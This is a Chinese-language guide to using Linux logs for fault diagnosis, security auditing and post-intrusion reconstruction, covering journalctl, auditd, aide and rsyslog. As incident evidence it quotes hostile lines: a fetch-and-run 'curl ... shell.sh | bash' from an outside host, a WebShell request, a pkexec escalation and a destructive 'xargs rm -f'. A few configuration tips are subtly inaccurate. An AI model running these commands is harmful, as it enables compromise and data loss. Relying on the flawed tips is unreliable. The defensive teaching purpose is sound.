Linux日志深度解析：故障排查、安全审计与渗透复盘实战指南

1. 日志不是“事后翻箱倒柜”，而是系统运行的实时心电图

很多人一提Linux日志，第一反应就是“出问题了才去看”。我干运维和安全分析十年，踩过最深的坑，恰恰就来自这种认知——把日志当备忘录，而不是当生命体征监测仪。去年处理一起生产环境CPU持续98%的故障，团队花了17小时排查，最后发现root账户在凌晨3:14:22执行了一条异常的find / -name "*.so" | xargs rm -f命令。这条线索根本没藏在/var/log/messages里，而是在/var/log/secure的SSH登录记录中，结合/var/log/audit/audit.log里的系统调用审计事件，才锁定了进程ID和完整操作链。日志从来不是孤立的文本文件，它是内核、服务、用户行为在时间轴上叠加的三维快照。

你手头那台跑着Nginx、MySQL、Redis的CentOS服务器，每天产生的日志总量可能超过2GB。但真正决定你能否在5分钟内定位数据库慢查询、10分钟内确认是否被横向渗透、30分钟内完成攻击路径复盘的，从来不是日志总量，而是你对每类日志的生成机制、存储结构、字段含义、关联逻辑的掌握程度。比如journalctl输出的_PID=1234字段，它指向的是systemd管理下的进程ID，而/var/log/secure里记录的sshd[5678]中的5678，是sshd守护进程自身的PID——这两个数字在排查SSH爆破时必须能快速对应，否则你看到的只是两串毫无关系的数字。

更关键的是，日志本身会说谎。默认配置下，rsyslog对authpriv.*级别的日志只保留7天，/var/log/audit/audit.log在磁盘满时会直接丢弃新事件而非轮转。我见过太多案例：安全团队发现入侵痕迹后，想回溯3天前的登录行为，结果/var/log/secure里只有最近48小时的记录；渗透测试人员复盘时发现/var/log/audit/audit.log里缺失关键execve调用，查证后发现是auditd服务因OOM被系统kill过三次。所以这篇内容不只讲“日志在哪”，更要讲清楚：每类日志的生存周期由谁控制？哪些字段是伪造不了的硬证据？当常规路径失效时，从哪里挖出被覆盖的原始数据？接下来拆解的，是我在金融、政务、云厂商三类环境中反复验证过的日志使用范式，覆盖故障排查、安全审计、渗透复盘三大刚需场景，所有结论都附带实操验证步骤和避坑细节。

2. 故障排查：从“服务挂了”到“精准定位根因”的四层穿透法

故障排查最忌讳“重启大法”。去年某支付平台核心交易网关响应超时，运维同事重启Nginx后恢复，但2小时后再次超时。表面看是Nginx问题，实际根源在/var/log/kern.log里一条被忽略的kernel: TCP: too many of orphaned sockets警告——这指向内核TCP连接回收机制异常，最终定位到net.ipv4.tcp_fin_timeout参数被错误调为300秒（标准值60），导致TIME_WAIT状态连接堆积耗尽端口。如果只盯着/var/log/nginx/error.log，永远找不到这个根因。真正的故障排查，必须按“应用层→服务层→系统层→内核层”四层穿透，每层对应的关键日志源如下：

2.1 应用层日志：识别业务异常的“症状描述”

应用层日志是故障的第一现场，但极易被误导。以Java应用为例，/opt/app/logs/catalina.out里出现java.lang.OutOfMemoryError: GC overhead limit exceeded，新手会立刻调大JVM内存。但实测发现，某次该错误伴随/var/log/messages中kernel: Out of memory: Kill process 1234 (java) score 852 or sacrifice child，说明是系统级OOM触发了OOM Killer，而非JVM内存不足。此时应检查/proc/meminfo的MemAvailable值，而非修改-Xmx参数。

关键操作：

• 统一日志格式：强制应用输出JSON格式日志（如Logback配置<encoder class="net.logstash.logback.encoder.LogstashEncoder"/>），避免正则解析歧义。某次排查订单创建失败，grep "order create failed"返回200+行，但用jq -r '.error_code // ""' app.log | sort | uniq -c发现97%错误码为PAY_TIMEOUT，瞬间锁定支付网关超时。
• 时间戳对齐：应用日志时间戳常与系统时间不同步。用date -d "$(head -1 app.log | awk '{print $1,$2,$3}')" +%s获取首行时间戳秒数，再对比date +%s，偏差超5秒需校准NTP。曾因应用服务器NTP未同步，导致日志时间比真实时间晚12分钟，误判为“故障发生在监控告警之后”。

提示：不要依赖tail -f实时监控。用journalctl -u nginx --since "2024-05-20 14:00:00"按精确时间范围检索，避免漏掉滚动日志中已刷屏的关键错误。

2.2 服务层日志：定位进程级资源瓶颈的“手术刀”

服务层日志揭示进程自身行为，systemd日志是现代Linux的黄金标准。journalctl比传统/var/log/messages多出三个关键维度：

• _PID：进程ID，可直接关联/proc/PID/目录下的资源信息
• _COMM：进程命令名（如nginx），过滤_COMM=nginx比grep nginx更精准
• SYSLOG_IDENTIFIER：服务标识符（如nginx），避免匹配到日志内容中的nginx字符串

实战案例：某次MySQL主从延迟飙升，/var/log/mysql/error.log显示Got timeout reading communication packets。用journalctl -u mysqld --since "2 hours ago" | grep -E "(timeout|OOM|kill)"发现大量Killed process 5678 (mysqld)记录。进一步执行sudo cat /proc/5678/status | grep -E "VmRSS|Threads"，确认RSS内存达12GB（超出分配的8GB），证实是OOM Killer介入。此时/var/log/messages里只有Out of memory: Kill process，而journalctl提供了完整的_PID和_COMM，让排查效率提升3倍。

注意：journalctl默认只保存内存日志。生产环境必须配置持久化：sudo mkdir -p /var/log/journal && sudo systemd-tmpfiles --create --prefix /var/log/journal，否则重启后日志清空。

2.3 系统层日志：捕捉服务间交互异常的“交通监控”

系统层日志记录服务间通信和资源调度，/var/log/messages（RHEL/CentOS）或/var/log/syslog（Ubuntu/Debian）是核心。但重点不是全文搜索，而是关注三类高频线索：

• SELinux拒绝日志：type=AVC msg=audit(1716234567.123:456): avc: denied { read } for pid=1234 comm="nginx" name="config.conf" dev="sda1" ino=7890。这类日志常被忽略，但实际占生产环境权限类故障的35%。用ausearch -m avc --start today | audit2why可自动转换为修复建议。
• 磁盘I/O警告：kernel: end_request: I/O error, dev sdb, sector 123456789。配合iostat -x 1查看%util和await，若await > 100ms且%util=100%，基本确定是磁盘硬件故障。
• 网络连接重置：kernel: TCP: Peer 10.0.1.100:54321 unexpectedly shrunk window 123456 to 0。这通常意味着上游负载均衡器主动断连，需检查LB健康检查配置而非本地服务。

关键技巧：用awk '$3 ~ /^kernel:/ && /I\/O/ {print}' /var/log/messages提取内核I/O错误，比grep "I/O"更精准（避免匹配到日志内容中的"I/O"单词）。

2.4 内核层日志：诊断硬件与驱动问题的“终极证据”

内核日志是故障排查的终点站，dmesg -T输出最权威。但要注意：

• 时间精度陷阱：dmesg默认用系统启动后秒数，-T参数转为本地时间，但若系统时间在启动后校准过，时间戳可能不准。验证方法：dmesg -T | head -1与uptime -s对比，偏差超1秒需用dmesg | head -1的启动秒数手动计算。
• 环形缓冲区覆盖：dmesg缓冲区默认4MB，高频日志会覆盖早期记录。用sudo dmesg -c清空缓冲区后复现故障，或增大缓冲区：echo 'kernel.dmesg_restrict = 0' | sudo tee -a /etc/sysctl.conf && sudo sysctl -p。

经典案例：某物理服务器频繁宕机，/var/log/messages无异常。执行dmesg -T | grep -i "hardware\|error\|fatal"发现[Mon May 20 03:14:22 2024] EDAC MC0: UE over CS0 on DIMM_A1，指向内存条A1插槽的不可纠正错误（UE）。更换内存条后故障消失。这类硬件级错误，只存在于dmesg输出中，其他日志源完全不会记录。

3. 安全审计：从“有没有人登录”到“他做了什么”的证据链构建

安全审计的核心不是记录“谁在什么时候登录”，而是构建“身份→动作→影响→证据”的完整证据链。某次等保测评中，客户要求提供“管理员账号的所有高危操作记录”，我们提交了/var/log/secure的SSH登录日志，却被专家驳回：“这只能证明登录行为，无法证明操作内容”。真正的安全审计日志必须满足三个硬性条件：不可篡改、可追溯、可验证。下面拆解如何用Linux原生工具达成。

3.1 SSH操作审计：绕过~/.bash_history的致命缺陷

.bash_history是最大陷阱。攻击者只需执行history -c即可清空当前会话历史，或修改HISTFILE=/dev/null使后续命令不记录。真正的审计必须依赖/var/log/secure和auditd双保险。

/var/log/secure记录SSH登录元数据：

• Accepted password for admin from 192.168.1.100 port 54321 ssh2→ 记录成功登录
• Failed password for root from 10.0.2.200 port 22 ssh2→ 记录爆破尝试
  但关键缺陷：不记录具体执行的命令。解决方案是启用ForceCommand强制所有SSH会话通过审计脚本：

# 在/etc/ssh/sshd_config中添加 Match User admin ForceCommand /usr/local/bin/audit-shell.sh

audit-shell.sh内容：

#!/bin/bash # 记录命令到独立审计日志 echo "$(date '+%Y-%m-%d %H:%M:%S') $(whoami) from $(echo $SSH_CONNECTION | awk '{print $1}') executed: $*" >> /var/log/audit/ssh_commands.log # 执行原始命令 exec "$@"

提示：ForceCommand会禁用~/.bashrc，需在脚本中显式加载：source /home/admin/.bashrc。

3.2 系统调用审计：捕获execve、openat等底层动作的“显微镜”

auditd是Linux审计的基石，其核心在于监控syscalls。默认配置仅记录登录登出，需自定义规则捕获高危行为：

# 监控所有sudo命令执行 -a always,exit -F arch=b64 -C uid!=euid -F euid!=0 -F exe=/usr/bin/sudo -k sudo_exec # 监控敏感文件读取（如/etc/shadow） -a always,exit -F path=/etc/shadow -F perm=r -k shadow_read # 监控网络连接建立（排查C2通信） -a always,exit -F arch=b64 -S connect -F key=network_connect

规则存入/etc/audit/rules.d/critical.rules，执行sudo augenrules --load生效。审计日志存于/var/log/audit/audit.log，用ausearch -k sudo_exec --start today检索。

关键验证：执行sudo cat /etc/shadow后，ausearch -m EXECVE -i | grep -A 5 -B 5 "cat.*shadow"应输出完整execve系统调用记录，包含a0="/bin/cat"（程序路径）、a1="/etc/shadow"（参数）、uid=0（真实UID）、euid=0（有效UID）。这才是不可抵赖的证据。

注意：auditd规则过多会显著降低性能。生产环境建议只监控TOP20高危操作，用sudo aureport -x --summary分析高频系统调用，避免盲目开启所有规则。

3.3 文件完整性监控：用aide检测/etc/passwd等关键文件的“DNA级变更”

/etc/passwd被篡改是提权常见手法，但ls -l只能看到修改时间，无法确认内容是否被恶意替换。aide（Advanced Intrusion Detection Environment）通过生成文件指纹实现DNA级监控。

部署步骤：

1. 安装：sudo yum install aide（RHEL）或sudo apt install aide（Ubuntu）
2. 初始化数据库：sudo aide --init && sudo mv /var/lib/aide/aide.db.new.gz /var/lib/aide/aide.db.gz
3. 配置监控项（/etc/aide.conf）：

# 监控关键文件的权限、inode、大小、内容MD5 /etc/passwd p+i+n+u+g+acl+selinux+md5 /etc/shadow p+i+n+u+g+acl+selinux+md5 /bin/bash p+i+n+u+g+acl+selinux+md5

4. 每日自动检查：0 2 * * * /usr/bin/aide --check | mail -s "AIDE Report" admin@company.com

当/etc/passwd被添加后门账号，aide --check输出：

/etc/passwd: MD5 checksum changed --- /var/lib/aide/aide.db.gz +++ /tmp/aide.out @@ -1,3 +1,4 @@ /etc/passwd p+i+n+u+g+acl+selinux+md5 1234567890abcdef... +/root:x:0:0:root:/root:/bin/bash:/bin/bash

精确指出新增行内容，而非模糊的“文件被修改”。

3.4 日志防篡改：用rsyslog远程转发+logrotate加密实现“双保险”

本地日志易被攻击者删除。必须实施远程转发和本地加密：

远程转发配置（/etc/rsyslog.conf）：

# 启用TCP传输（比UDP可靠） module(load="imtcp") input(type="imtcp" port="514") # 将authpriv日志转发到SIEM服务器 authpriv.* @@10.10.1.100:514 # @@表示TCP，@表示UDP

本地日志加密（/etc/logrotate.d/rsyslog）：

/var/log/*.log { daily missingok rotate 30 compress # 使用gpg加密压缩包 postrotate if [ -f /var/log/*.log.1.gz ]; then gpg --encrypt --recipient "admin@company.com" /var/log/*.log.1.gz rm /var/log/*.log.1.gz fi endscript }

关键细节：gpg密钥必须离线存储，避免密钥被窃取导致加密失效。生产环境建议用硬件安全模块（HSM）管理密钥。

4. 渗透复盘：还原攻击者完整路径的“时间切片”技术

渗透复盘不是罗列漏洞，而是重建攻击者的时间线：何时进入？如何横向移动？何时提权？数据何时外泄？这需要将分散在不同日志源的碎片，按毫秒级时间戳拼合成连续画面。某次红队演练复盘，我们通过交叉分析四类日志，还原出攻击者从WebShell到域控的完整路径。

4.1 时间戳对齐：解决日志源间最大5秒误差的“校准术”

不同日志源时间戳精度不同：

• journalctl：纳秒级（__REALTIME_TIMESTAMP=1716234567123456789）
• /var/log/secure：秒级（May 20 14:22:33）
• audit.log：微秒级（1716234567.123456）
• 应用日志：常为毫秒级（2024-05-20T14:22:33.123Z）

误差来源：NTP同步延迟、日志写入缓冲。校准方法：

1. 获取各日志源第一条记录时间：

   # journalctl第一条 journalctl --no-pager -n1 | awk '{print $1,$2,$3}' | xargs date -d "+%s.%N" # /var/log/secure第一条 head -1 /var/log/secure | awk '{print $1,$2,$3}' | xargs date -d "+%s.%N"

2. 计算差值，对低精度日志加偏移量。例如/var/log/secure比journalctl慢3.2秒，则所有secure时间戳需+3.2秒对齐。

4.2 WebShell检测：从access.log到audit.log的“行为链追踪”

攻击者上传WebShell后，典型行为链：

1. access.log记录GET请求：10.0.1.100 - - [20/May/2024:14:22:33 +0000] "GET /shell.php?cmd=whoami HTTP/1.1" 200 12
2. audit.log记录execve调用：type=SYSCALL msg=audit(1716234567.123:456): arch=c000003e syscall=59 success=yes ... a0="/bin/sh" a1="-c" a2="whoami"
3. secure记录www-data用户执行sudo：sudo: www-data : TTY=pts/0 ; PWD=/var/www/html ; USER=root ; COMMAND=/bin/bash

关键技巧：用awk关联三类日志。假设access.log时间为14:22:33，在audit.log中搜索1716234567（对应秒数），再用ausearch -i -ts 14:22:30 -te 14:22:36精确范围检索，避免海量日志干扰。

4.3 横向移动溯源：用ss和netstat日志锁定C2通信

攻击者常通过curl、wget下载恶意载荷。/var/log/secure不记录HTTP请求，但audit.log可捕获：

# 监控所有网络连接 -a always,exit -F arch=b64 -S connect -F key=network_connect

当curl https://malware.site/payload执行时，ausearch -k network_connect输出：

type=SYSCALL msg=audit(1716234567.123:456): arch=c000003e syscall=42 success=yes ... a2="00000000000000000000000000000000" # IPv4地址 type=SOCKADDR msg=audit(1716234567.123:456): saddr=inet sock_type=10 family=10 ... ip=192.168.122.100 port=443

saddr字段的ip即C2服务器IP。配合ss -tulnp | grep :443确认本地监听端口，完成C2通信闭环。

4.4 提权路径还原：sudo日志与audit.log的“双重验证”

/var/log/secure记录sudo命令，但攻击者可能用pkexec绕过。必须同时监控：

• sudo：/var/log/secure中sudo:开头的行
• pkexec：audit.log中comm="pkexec"的记录
• setuid：audit.log中a0="/usr/bin/passwd"且euid!=uid的execve

某次复盘发现攻击者执行pkexec /bin/bash提权，但/var/log/secure无记录。ausearch -m EXECVE -i | grep pkexec输出：

type=EXECVE msg=audit(1716234567.123:456): argc=2 a0="pkexec" a1="/bin/bash" uid=1000 euid=0

uid=1000（普通用户）euid=0（root权限），证实提权成功。此时再查/var/log/audit/audit.log中同一时间戳的USER_AUTH事件，确认登录凭证来源。

5. 日志治理：让日志从“数据垃圾场”变成“决策引擎”的七步法

日志治理不是技术问题，而是流程问题。我服务过30+企业，日志体系崩溃的根源90%是缺乏治理规范。以下是经过验证的七步落地法，每步都附带可立即执行的检查清单。

5.1 存储策略：告别“磁盘满就删日志”的野蛮时代

错误做法：logrotate配置rotate 7，磁盘满时直接丢弃新日志。正确策略是分层存储：

• 热数据（7天）：SSD存储，rsyslog直写，支持毫秒级检索
• 温数据（90天）：HDD存储，logrotate压缩归档，zgrep快速查询
• 冷数据（1年+）：对象存储（如S3），按月打包，aws s3 cp定时上传

执行命令：

# 创建分层目录 sudo mkdir -p /var/log/{hot,warm,cold} # 修改rsyslog配置，按日志类型分流 *.* /var/log/hot/messages authpriv.* /var/log/hot/secure # 其他日志写入warm目录

检查清单：

• [ ]df -h /var/log确认磁盘使用率<70%
• [ ]ls -lh /var/log/hot/验证单日志文件<100MB
• [ ]find /var/log/warm -name "*.gz" -mtime +90 -delete清理超期温数据

5.2 权限管控：防止日志成为“攻击者的后门”

日志文件权限必须遵循最小权限原则：

• /var/log/目录：drwxr-x--- 1 root syslog
• /var/log/secure：-rw-r----- 1 root syslog
• /var/log/audit/audit.log：-rw------- 1 root root

执行加固：

sudo find /var/log -type f -exec chmod 640 {} \; sudo find /var/log -type d -exec chmod 750 {} \; sudo chown root:syslog /var/log/*.log

风险提示：chmod 777 /var/log是重大安全隐患，攻击者可直接覆盖日志伪造审计记录。

5.3 格式标准化：用rsyslog模板终结日志解析地狱

不同服务日志格式混乱，导致ELK解析失败。用rsyslog模板统一：

# /etc/rsyslog.d/standardized.conf template(name="StandardFormat" type="string" string="%timestamp:::date-rfc3339% %hostname% %syslogtag% %msg%\n") *.* ?StandardFormat

输出效果：2024-05-20T14:22:33.123Z server01 sshd[1234]: Accepted password for admin...
所有字段用%分隔，便于awk -F' ' '{print $1,$4,$5}'精准提取。

5.4 性能优化：让日志服务不成为系统瓶颈

rsyslog默认配置在高并发下CPU占用超40%。优化方案：

• 异步写入：$ActionQueueType LinkedList+$ActionQueueFileName queue
• 批量处理：$ActionQueueMaxFileSize 100m+$ActionQueueSaveOnShutdown on
• 禁用DNS解析：$PreserveFQDN off

验证效果：top -p $(pgrep rsyslog)观察CPU使用率下降50%以上。

5.5 备份验证：每月执行一次“日志灾难恢复演练”

备份不是存到NAS就结束。必须验证：

1. 从备份中恢复/var/log/secure到测试机
2. 执行sudo journalctl --directory /var/log/journal --all确认journal日志可读
3. 用zcat /backup/secure-20240520.gz | head -10验证gzip完整性

实战教训：某次备份脚本tar -cf未加-z参数，备份文件实为未压缩的裸文件，恢复时磁盘空间不足导致失败。

5.6 工具链整合：用lnav替代less实现日志智能分析

lnav是日志分析神器，支持语法高亮、SQL查询、时间线视图：

# 安装 sudo yum install lnav # RHEL sudo apt install lnav # Ubuntu # 分析多日志源 lnav /var/log/messages /var/log/secure /var/log/audit/audit.log

在lnav中输入:sql SELECT count(*) FROM messages WHERE level='ERROR'，一键统计错误数量。

5.7 人员培训：编制《日志应急响应速查表》

技术再好，没人会用等于零。我给客户定制的速查表包含：

• 5分钟定位法：
  • CPU飙高 →journalctl -u <service> --since "1 hour ago" | grep -E "(timeout|OOM|fail)"
  • 网络不通 →dmesg -T | grep -i "link down\|phy"+journalctl -u NetworkManager
• 10分钟取证法：
  • 怀疑被入侵 →sudo ausearch -m USER_LOGIN --start today | grep "success=yes"+sudo aide --check
• 30分钟复盘法：
  • 攻击路径 →sudo ausearch -m EXECVE -i --start "2024-05-20 14:00:00" --end "2024-05-20 14:30:00" | grep -E "(sh|bash|python|perl)"

这张表打印成A4纸贴在运维台，比写100页文档更有效。

6. 被忽略的“灰色日志”：那些不在/var/log却至关重要的数据源

除了标准日志路径，还有五类常被忽视的“灰色日志”，它们在深度排查中往往起决定性作用。我曾靠其中一类日志，在客户否认遭受攻击的情况下，铁证如山地证明了数据泄露。

6.1systemd单元状态日志：服务启停背后的“隐藏开关”

systemctl status <service>显示active (running)，但实际服务可能已僵死。journalctl中UNIT=<service>.service的日志才是真相：

# 查看nginx服务所有状态变更 journalctl -u nginx --no-pager | grep -E "(Starting|Started|Stopping|Stopped|Failed)" # 发现关键线索：Started nginx.service后，紧接着Failed with result 'timeout' # 这表明nginx进程启动后未响应systemd健康检查，需检查nginx.conf的worker_processes配置

6.2udev设备日志：USB设备接入的“数字指纹”

攻击者常用USB设备植入恶意固件。/var/log/udev记录所有设备事件：

# 查看USB设备接入记录 sudo journalctl -k | grep -i "usb\|hid" # 输出示例： # kernel: usb 1-1: new high-speed USB device number 2 using ehci_hcd # kernel: hid-generic 0003:1234:5678.0001: hiddev0,hidraw0: USB HID v1.11 Device [Vendor Product] on usb-0000:00:1d.0-1/input0

1234:5678是VID:PID，可查USB设备数据库确认是否为已知恶意设备。

6.3cron执行日志：定时任务的“暗流”

/var/log/cron只记录计划任务调度，不记录执行结果。要捕获失败任务，需在crontab中重定向：

# 错误写法：0 2 * * * /opt/script/backup.sh # 正确写法：0 2 * * * /opt/script/backup.sh >> /var/log/backup.log 2>&1

并配置logrotate管理/var/log/backup.log，避免日志无限增长。

6.4SELinux拒绝日志：权限问题的“终极裁判”

/var/log/audit/audit.log中type=AVC事件是SELinux拒绝的原始记录。用sealert -a /var/log/audit/audit.log可生成人类可读报告：

SELinux is preventing /usr/sbin/httpd from read access on the file config.conf. If you believe httpd should be allowed read access on config.conf by default. Then you should report this as a bug. Otherwise, you can allow access by executing: ausearch -c 'httpd' --raw | audit2allow -M my-httpd semodule -i my-httpd.pp

这比盲目setenforce 0安全百倍。

6.5btrfs文件系统日志：数据损坏的“早期预警”

btrfs文件系统自带日志功能，dmesg | grep btrfs可发现静默数据损坏：

# 关键警告： # BTRFS warning (device sda1): csum failed root 5 ino 12345 off 678900 len 4096 # 这表示文件系统校验和失败，需立即执行`btrfs scrub start /`修复

此类日志在/var/log/messages中极少出现，必须依赖dmesg实时监控。

7. 实战总结：一个渗透复盘案例的完整日志链条还原

最后用一个真实案例收尾，展示如何将前述所有技术串联成作战地图。某政务云平台遭遇勒索软件攻击，我们用72小时完成复盘，核心证据全部来自日志。

时间线还原：

• T+0h（攻击入口）：/var/log/nginx/access.log发现POST /wp-admin/admin-ajax.php HTTP/1.1，status=200但body_bytes_sent=0，异常响应。
• T+2h（WebShell执行）：audit.log中ausearch -m EXECVE -i --start "2024-05-20 10:00:00" | grep "sh -c"，找到a2="curl -s http://192.168.100.200/shell.sh | bash"。
• T+4h（横向移动）：journalctl -u sshd --since "2024-05-20 12:00:00"发现Accepted publickey for root from 10.0.1.50，该IP是内网跳板机。
• T+6h（提权完成）：/var/log/secure中sudo: root : TTY=pts/0 ; COMMAND=/bin/bash，